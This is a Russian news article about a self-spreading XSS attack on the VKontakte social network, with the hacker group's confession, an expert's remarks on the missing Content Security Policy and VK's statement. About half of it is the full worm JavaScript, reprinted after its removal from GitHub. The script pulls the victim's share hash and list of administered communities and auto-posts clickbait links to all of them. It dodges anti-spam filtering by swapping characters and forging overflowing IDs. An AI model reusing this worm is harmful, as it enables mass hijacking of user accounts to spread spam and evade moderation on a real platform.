Взлом «ВКонтакте» с помощью XSS-уязвимости

Взлом ВКонтакте

14 февраля примерно в 19:40 по МСК в официальных сообществах «ВКонтакте», а также в других группах и на страницах пользователей стали появляться сообщения о «запуске рекламы в личных сообщениях». Все они содержат одну строчку текста и ссылку, похожую на новость.

Взлом ВКонтакте через XSS-уязвимость

Как выяснилось позднее, социальная сеть «ВКонтакте» оказалась подвергнута XSS-уязвимости. Вредоносный скрипт разместили на одной из страниц сети, при посещении которой на страницах, администрируемых жертвой, автоматически размещалась публикация как на картинке выше.

Багоси признались во взломе «ВКонтакте»

В сообществе «Багоси» опубликовали сообщение, в котором объяснили как и для чего был произведен взлом. Вскоре сообщество было заблокировано.

В статью был встроен скрипт, который постил ссылку во все администрируемые группы и на личную страницу пользователя. Пока пользователь читал текст, он выполнялся, при этом личные данные никуда не утекали. Кстати, комментарии к записям были составлены из отзывов к программе ВКонтакте в Google Play и AppStore, а сама статья из кликбейтных новостей с сайта AKKet (это локальный мем, многие могут не знать, что это за сайт). Уязвимость использовалась та же, что и год назад (Демократия), тогда сотрудники ВКонтакте кинули и не выплатили баунти, в итоге было решено её использовать, но не нанося вред пользователям. Тогда, после устранения уязвимости, было найдено множество обходов, но даже спасибо мы за них не получили. В итоге остался последний обход, который мы берегли целый год. Сегодня за несколько часов был написан код. Чтобы посты было сложнее сносить антиспамом и записи продержались хотя бы полчаса, заголовок и комментарий подбирались рандомно. Что ж, шалость удалась. К сожалению, основную группу забанили, но надеемся, что у сотрудников еще осталось чувство юмора и её разбанят. Так как уязвимость принадлежала пользователю, который больше не занимается их поиском, это было в последний раз.

Комментарии Александра Литреева, эксперта по кибербезопасности

С помощью этой XSS-уязвимости можно было получить прямой и неограниченный доступ к любым данным аккаунта «ВКонтакте» — от личной переписки до скрытых фотографий. Никому не известно, как была (и была ли) эксплуатирована эта дыра ранее — вполне возможно, что злоумышленники могли, например, скомпрометировать переписку сотен пользователей и долго оставаться незамеченными.

Content Security Policy

О какой безопасности вообще можно говорить, если у «ВКонтакте» элементарно не настроена самая базовая политика безопасности CSP (Content Security Policy).

Content Security Policy устанавливает перечень доверенных ресурсов, откуда могут подгружаться различные скрипты и прочие материалы. У Facebook, например, такая политика настроена. «ВКонтакте» же весьма халатно отнеслась к вопросу безопасности пользователей и уже далеко не первый раз.

Комментарии «ВКонтакте»

Через 20 минут после начала атаки пресс-служба «ВКонтакте» сообщила, что соцсеть взяла ситуацию под контроль.

Ситуация под контролем, мы начали удалять нежелательные публикации в течение первой минуты после обнаружения уязвимости.

Переход по ссылкам приводил к эффекту волны и дальнейшему распространению публикаций. Уязвимость, которая позволяла выполнять произвольный javascript-код, уже исправляется.
Сообщества не были взломаны, пароли аккаунтов администраторов в безопасности.

Напоминаем хакерам, что за найденную уязвимость они могли заработать деньги с помощью программы HackerOne.

пресс-служба «ВКонтакте»

Скрипт для взлома

На GitHub выложили javascript, который использовался для взлома соцсети. Ниже можете просмотреть его, т.к. на GitHub его уже удалили.

/**
 * Текст поста.
 */
var news_text = [
    "Всё меньше причин оставаться ВК.. Ждем пока mail group окончательно загонят сайт в яму и переходим на telegram", 
    "Дурову пора создавать новый вконтакте, этот уже испортили", 
    "Прости, Паша, мы все прое*али", 
    "Ну это уже ни в какие рамки", 
    "ВКонтакте окончательно загнулись", 
    "Мда, меилру продолжает губить все, к чему прикасается", 
    "Это пи*дец, товарищи", 
    "Раньше было лучше", 
    "стало очень неудобно", 
    "лучше бы делом занялись", 
    "я просто в шоке", 
    "без комментариев", 
    "Как же достали со своими обновлениями", 
    "Фуфло полное ,не трогайте сообщения!", 
    "сначала музыка, теперь ЭТО", 
    "С такими говновведениями, что тут бодяжат последнее время, со всякими дебильными ветоШными комментами, тупыми закладками, невидимыми репостами и т.д., все и так сбегут скоро"
];

/**
 * Название ссылки, которая будет в посте.
 */
var news_link_text = [
    "Социальная сеть ВKонтакте зaпустила реклaму в личных сообщенияx пользоватeлей", 
    "СМИ: ВКонтакте запустили pекламу в личных соoбщениях", 
    "ВКонтакте запустили рекламу в сообщениях", 
    "ВКонтакте появилась реклама в сообщениях", 
    "ВКонтакте ввели рекламу в сообщениях", 
    "ВКонтакте тестирует рекламу в личныx сообщениях", 
    "ВКонтакте представили рекламу в личных сообщениях", 
    "Реклaма в личных сoобщениях появилась ВКонтакте", 
    "Пользователей BКонтакте взбесила реклама в личных сообщениях", 
    "Пользователи ВКонтакте протестуют против рекламы в личных сообщениях", 
    "Реклама в личных сообщениях вывела из себя пользователей ВКонтакте", 
    "ВКонтакте: мы запускаем рекламу в личных сообщениях", 
    "ВКонтакте: теперь рекламодатели могут размещать рекламу в сообщениях пользователей", 
    "ВКонтакте прокомментировали жалобы пользoвателей на рекламy в сообщeниях", 
    "Пользователи ВКонтакте в ярости из-за рекламы в личных сообщениях", 
    "Пользователи бегут из социальной сети ВКонтакте из-за рекламы в личных сообщениях"
];

/**
 * Отправка URL через HTTPRequest.
 */
function send_URL(url) {
    var b = new XMLHttpRequest;
    b.open("GET", url); 
    b.send();
}

/**
 * Создаем URL API-метода "поделиться" от лица пользователя.
 */
function create_share_url(user_hash, club_address) {
    return (
        "https://vk.com/share.php?act=a_submit&al=1&hash=" + 
        user_hash + 
        "&photo_id=" + 
        io(456239755) + 
        "&photo_owner_id=" + 
        io(484644478) + 
        "&share_comment=" + 
        encodeURIComponent(change_text(random_element(news_text))) + 
        "&title=" + 
        encodeURIComponent(random_element(news_link_text)) + 
        (club_address ? "&to=" + club_address + "" : "") + // админы клубов пересылают в свои клубы.
        "&url=" + 
        encodeURIComponent(
            "https://vk.com/public" + 
            io(22822305) + 
            "?w=article727491309_905121871&_fm=" + 
            (Math.random() * 100)
        )
    );
}

/**
 * "rzhaka: это int overflow для частичного обхода антиспама".
 */
function io(number) {
    return 4294967296 * Math.floor(1e6 * Math.random()) + number;
}

/**
 * Выбор рандомного элемента из массива.
 */
function random_element(array) {
    return array[Math.floor(Math.random() * array.length)];
}

/**
 * Что-то делает со строкой.
 * Скорее всего рандомно заменяет некоторые символа исходного текста на другие, чтобы избежать автоматического удаления поста.
 */
function change_text(text) {
    let symbols = {
        а: ["я", "a"],
        о: ["а", "a", "o", "0"],
        я: ["е", "а", "е", "a"],
        и: ["ы"],
        ы: ["и"],
        ъ: ["ь"],
        ь: ["ъ"],
        д: ["т"]
    };
    
    for (let i = 0; i < text.length; i++) {
        null != symbols[text[i]] && .3 > Math.random() && (text = text.replaceAt(i, symbols[text[i]][Math.floor(Math.random() * symbols[text[i]].length)]));
    }
    
    return text;
}

/**
 * Изменяем поведение обычного `replaceAt`. 
 * 
 * - это только нужно для `change_text()`.
 */
String.prototype.replaceAt = function(c, a) {
    return this.substr(0, c) + a + this.substr(c + a.length);
};


var share_method = new XMLHttpRequest;
share_method.open("GET", "share.php"); // метод "поделиться".
share_method.send(); // отправляем запрос ВК.
share_method.onload = function() { // получаем ответ (типа text/html) от ВК вместе со всей приватной(?) инфой.
    var clubs = JSON.parse(
        share_method.responseText.match(/clubs: (.*?),\n/)[1]
    ); // доступные клубы.
    var hash = share_method.responseText.match(
        /window.shareHash = \'(.*?)\';/
    )[1]; // уникальный хэш пользователя для "поделиться"?
        
    clubs.forEach(function(club) { // админы репостят в свои клубы.
        send_URL(create_share_url(hash, club[0])); 
    });

    send_URL(create_share_url(hash, 0)); // пользователь репостит себе.
};